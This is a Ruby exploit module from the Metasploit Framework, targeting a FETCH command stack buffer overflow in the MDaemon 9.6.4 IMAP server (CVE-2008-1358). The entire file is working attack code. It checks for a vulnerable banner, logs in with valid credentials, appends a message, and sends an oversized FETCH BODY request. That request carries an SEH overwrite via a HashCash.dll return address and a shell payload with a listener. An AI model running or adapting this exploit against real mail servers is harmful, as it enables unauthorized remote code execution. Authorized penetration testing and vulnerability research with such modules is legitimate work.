107 lines
2.4 KiB
Ruby
107 lines
2.4 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Imap::Mdaemon_Fetch < Msf::Exploit::Remote
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include Exploit::Remote::Imap
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include Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Alt-N MDaemon IMAP Server
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version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
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account credentials are required. Credit to Matteo Memelli
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},
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'Author' => [ 'Jacopo Cervini', 'patrick' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '28245' ],
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[ 'OSVDB', '43111' ],
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[ 'CVE', '2008-1358' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x0a])",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
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],
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'DisclosureDate' => 'March 13 2008',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_login
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req0="0002 SELECT Inbox\r\n"
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res = raw_send_recv(req0)
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if (res and res =~ /0002 OK/)
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print_status("SELECT command OK")
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end
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req1="0003 APPEND Inbox {1}\r\n"
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res = raw_send_recv(req1)
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if (res and res =~ /Ready for append literal/)
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print_status("APPEND command OK")
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end
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res = raw_send_recv(rand_text_alpha(20) + "\r\n")
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if (res and res =~ /APPEND completed/)
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print_status("APPEND command finished")
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end
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buf = rand_text_alpha_upper(528, payload_badchars)
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buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
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sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
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print_status("Sending payload")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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end
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